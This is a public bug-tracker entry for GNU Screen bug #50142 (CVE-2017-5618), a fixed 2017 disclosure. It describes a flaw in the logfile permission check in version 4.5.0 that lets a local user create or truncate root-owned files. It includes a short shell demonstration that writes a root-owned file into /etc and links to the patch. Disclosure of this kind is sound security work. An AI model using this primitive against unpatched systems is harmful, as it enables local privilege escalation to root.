bugGNU Screen - Bugs: bug #50142, CVE-2017-5618 - root exploit 4.5.0

 
 

bug #50142: CVE-2017-5618 - root exploit 4.5.0

Submitted by:  None
Submitted on:  Tue 24 Jan 2017 07:05:09 PM UTC  
 
Category: Program LogicSeverity: 3 - Normal
Priority: 5 - NormalStatus: Fixed
Privacy: PublicAssigned to: Alexander Naumov <anaumov>
Open/Closed: ClosedRelease: 4.5.0
Fixed Release: 4.5.1Planned Release: 4.5.1
Work Required: None

Add a New Comment(Rich Markup)
   

You are not logged in

Please log in, so followups can be emailed to you.

 

Mon 06 Feb 2017 09:54:43 PM UTC, comment #1:

FIXED:
http://git.savannah.gnu.org/cgit/screen.git/patch/?id=1c6d2817926d30c9a7a97d99af7ac5de4a5845b8

Alexander Naumov <anaumov>
Project AdministratorIn charge of this item.
Tue 24 Jan 2017 07:05:09 PM UTC, original submission:

Commit f86a374 ("screen.c: adding permissions check for the logfile name", 2015-11-04)

The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways.

> buczek@theinternet:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> buczek@theinternet:~$ id
> uid=125(buczek) gid=125(buczek) groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> buczek@theinternet:~$ cd /etc
> buczek@theinternet:/etc (master)$ screen -D -m -L bla.bla echo fail
> buczek@theinternet:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> buczek@theinternet:/etc (master)$ cat bla.bla
> fail
> buczek@theinternet:/etc (master)$


Donald Buczek <buczek@molgen.mpg.de>

Anonymous

 

(Note: upload size limit is set to 16384 kB, after insertion of the required escape characters.)

Attach File(s):
   
   
Comment:
   

No files currently attached

 

Depends on the following items: None found

Items that depend on this one: None found

 

Carbon-Copy List
  • -unavailable- added by anaumov (Posted a comment)
  • -unavailable- added by amade (Updated the item)
  •  

    Do you think this task is very important?
    If so, you can click here to add your encouragement to it.
    This task has 0 encouragements so far.

    Only logged-in users can vote.

     

    Please enter the title of George Orwell's famous dystopian book (it's a date):

     

     

    Follow 9 latest changes.

    Date Changed By Updated Field Previous Value => Replaced By
    Mon 06 Feb 2017 09:54:43 PM UTCanaumovStatusIn Progress=>Fixed
      Open/ClosedOpen=>Closed
      Fixed ReleaseNone=>4.5.1
    Fri 03 Feb 2017 03:33:03 PM UTCamadeStatusNone=>In Progress
      PrivacyPrivate=>Public
      Assigned toNone=>anaumov
      ReleaseNone=>4.5.0
      Planned ReleaseNone=>4.5.1
      Summaryroot exploit 4.5.0=> CVE-2017-5618 - root exploit 4.5.0

    Back to the top


    Powered by Savane 3.1-cleanup1